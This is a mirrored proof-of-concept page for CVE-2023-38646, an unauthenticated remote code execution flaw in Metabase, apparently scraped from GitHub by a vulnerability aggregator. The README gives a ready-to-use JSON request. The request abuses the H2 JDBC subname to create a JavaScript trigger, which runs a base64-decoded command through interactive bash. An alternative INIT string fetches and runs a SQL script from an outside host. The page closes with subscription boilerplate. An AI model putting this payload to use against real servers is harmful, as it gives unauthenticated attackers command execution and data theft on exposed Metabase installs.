CVE-2023-38646 PoC — Metabase 安全漏洞

Source

https://github.com/0utl4nder/Another-Metabase-RCE-CVE-2023-38646

Associated Vulnerability

Title:Metabase 安全漏洞 (CVE-2023-38646)
Description:Metabase open source before 0.46.6.1 and Metabase Enterprise before 1.46.6.1 allow attackers to execute arbitrary commands on the server, at the server's privilege level. Authentication is not required for exploitation. The other fixed versions are 0.45.4.1, 1.45.4.1, 0.44.7.1, 1.44.7.1, 0.43.7.2, and 1.43.7.2.

Description

Metabase postgres (org.h2.Driver)  RCE without INIT

Readme

### Extension of the Pre-Auth RCE in Metabase (CVE-2023-38646) explained [here](https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/)
This helped me to avoid errors related to "database already in use" (with H2 and postgre as engines)
```json
{
"token": "TOKEN",
"details":
{
 "is_on_demand": false,
 "is_full_sync": false,
 "is_sample": false,
 "cache_ttl": null,
 "refingerprint": false,
 "auto_run_queries": true,
 "schedules":{},
 "details":
 {
  "advanced-options":true,
  "classname":"org.h2.Driver",
  "subname": "./metabase.jar;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER xel BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,BASE64COMMAND}|{base64,-d}|{bash,-i}')\n$$--=x",
  "subprotocol": "h2"
 },
 "engine": "postgres",
 "name": "x"
}}
```
Instead of using directly h2 as engine with the INIT script, since its removed from our queries, we still using the db query for h2 engine
<details>
  <summary>INIT script</summary>
  <code>mem;test;INIT=RUNSCRIPT FROM 'http://10.10.10.10/sqlcmd.sql'</code>
  <h3>In the .sql you specify the way to exec shell commands</h3>
</details>


# REFERENCE
https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase

### Written as a note, take it as vague documentation, you must have authorization to enumerate, exploit or simply test against any target
## Comments and contributions are welcome

File Snapshot


 [4.0K]  /data/pocs/e2730023118d3c2ebdabfc95a7db278e2aa89c77
└── [1.4K]  README.md

0 directories, 1 file

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!